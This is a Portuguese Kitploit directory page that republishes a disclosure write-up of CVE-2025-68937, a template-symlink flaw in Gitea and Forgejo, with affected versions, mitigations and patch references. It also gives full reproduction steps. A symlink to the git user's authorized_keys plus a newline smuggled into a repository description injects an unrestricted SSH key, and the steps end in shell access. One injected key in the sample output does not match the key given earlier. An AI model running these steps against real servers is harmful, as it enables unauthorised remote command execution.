Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Gitea-Forgejo-CVE-2025-68937 — A travessia de diretório no processamento de modelos de repositório do Gitea e Forgejo permite que atacantes autenticados remotos processem arquivos arbitrários no sistema de arquivos, levando à execução remota de código. | Kitploit
Ferramentas/GitHubGitHub/clemax/gitea-forgejo-cve-2025-68937
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed Teaming
GitHubclemax/gitea-forgejo-cve-2025-68937

Gitea-Forgejo-CVE-2025-68937

A travessia de diretório no processamento de modelos de repositório do Gitea e Forgejo permite que atacantes autenticados remotos processem arquivos arbitrários no sistema de arquivos, levando à execução remota de código.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
há 6 mesesAinda não revisado

Vulnerabilidade de expansão arbitrária de template no Gitea e Forgejo

forgejo-cve CC BY-SA 4.0

Este trabalho está licenciado sob uma Licença Creative Commons Atribuição-CompartilhaIgual 4.0 Internacional.

CC BY-SA 4.0

Resumo

Ao verificar o código-fonte do Forgejo e do Gitea para entender melhor como a modelagem (templating) é realizada, descobri uma vulnerabilidade que permite a um usuário autenticado criar um repositório de template malicioso que pode ser usado para processar arquivos arbitrários no sistema de arquivos.

Ao criar um repositório baseado no conteúdo Git do template malicioso, o template será capaz de expandir arquivos arbitrários no sistema de arquivos.

Sabendo o caminho do diretório home do usuário git (que, por padrão, é /data/git na imagem Docker oficial), um atacante pode expandir o arquivo .ssh/authorized_keys do usuário git para injetar uma chave sem o parâmetro command, que pode ser usada para executar comandos arbitrários ou um shell interativo.

Detalhes técnicos

Versões afetadas: Gitea >= v1.11.0-rc1 && <= v1.24.6, Forgejo <= v11.0.6 || (>= v12.0.0 && <= v13.0.1)

Componente afetado: Repositórios de template

Causa raiz: Resolução de link simbólico ao ler e escrever conteúdos de arquivos de template

Fluxo de exploração

  1. O atacante autentica como um usuário legítimo

  2. O atacante cria um repositório de template malicioso contendo um link simbólico para o arquivo .ssh/authorized_keys do usuário git (adivinhado) e um arquivo .forgejo/template que referencia o link simbólico

  3. O atacante adiciona uma chave pública SSH à sua conta com um comentário personalizado terminando com ${REPO_DESCRIPTION}

  4. O atacante cria um repositório referenciando o repositório de template malicioso com a modelagem de conteúdo Git ativada e uma descrição contendo uma nova linha seguida por outra chave pública SSH

  5. O Gitea/Forgejo lê e modela o link simbólico authorized_keys, fazendo com que o comentário da chave pública definida anteriormente seja expandido para uma entrada arbitrária correspondente à descrição do repositório do atacante, sem o parâmetro command

  6. O atacante faz login de forma interativa como o usuário git, usando a chave injetada

Também é possível para o atacante corromper arquivos de configuração, banco de dados SQLite ou causar negação de serviço ao ler arquivos enormes.

Mitigação

  • Desabilitar registro para usuários não confiáveis
  • Desabilitar criação de repositório para usuários não confiáveis

Reprodução

  1. Instalar e configurar uma versão vulnerável do Gitea/Forgejo

  2. Registrar ou criar uma conta para o atacante usando a conta de administrador

  3. Fazer login usando a conta do atacante

  4. Gerar duas chaves SSH diferentes: uma para Git e uma para SSH interativo

root@kitploit:~
ssh-keygen -f ~/.ssh/attacker-git -N '' -C '${REPO_DESCRIPTION}'
ssh-keygen -f ~/.ssh/attacker-ssh -N ''
  1. Adicionar o conteúdo do arquivo ~/.ssh/attacker-git.pub como uma chave SSH autorizada usando a interface do Gitea/Forgejo

O comentário da chave deve estar presente e se parecer com isto:

root@kitploit:~
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}

O arquivo .ssh/authorized_keys do usuário git agora se parece com isto:

root@kitploit:~
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
  1. Criar um repositório de template malicioso usando a interface do Gitea/Forgejo

  2. Clonar o repositório de template e adicionar o link simbólico malicioso e a configuração de template

root@kitploit:~
# Clonar o repositório de template
git clone https://localhost:3000/attacker/malicious-template
cd malicious-template

# Criar link simbólico malicioso
ln -s /data/git/.ssh/authorized_keys

# Ao usar Gitea, criar configuração de template do Gitea
mkdir .gitea
echo authorized_keys > .gitea/template

# Ao usar Forgejo, criar configuração de template do Forgejo
mkdir .forgejo
echo authorized_keys > .forgejo/template

# Commit e push das alterações
git add -A
git commit -m 'Initial commit'

git push
  1. Criar um novo repositório referenciando o repositório de template malicioso com a modelagem de conteúdo Git ativada e uma descrição contendo uma nova linha seguida pelo conteúdo do arquivo ~/.ssh/attacker-ssh.pub

A descrição do repositório deve se parecer com isto:

root@kitploit:~
replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxIBbYKl2r41Xzp+SY8qlWmSmK2IGEylQ3D7GDC8IjH attacker@machine

O replaced na primeira linha não é obrigatório, mas você precisa garantir que a nova linha ainda esteja presente, independentemente. O comentário attacker@machine no final da linha também é opcional.

O resultado do arquivo .ssh/authorized_keys do usuário git será assim:

root@kitploit:~
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqrtpZdMsU5lXMtV7hnlGnz+ngdnTxYMd9hjCMhrR1n attacker@machine
  1. Conectar usando a chave ~/.ssh/attacker-ssh e o cliente ssh
root@kitploit:~
ssh -i ~/.ssh/attacker-ssh git@localhost -p 222

Referências

  • Notas de lançamento do Gitea
  • Pull request do Gitea
  • Notas de lançamento do Forgejo 13.0.2
  • Notas de lançamento do Forgejo 11.0.7
  • Patch do Forgejo
Baixar ferramenta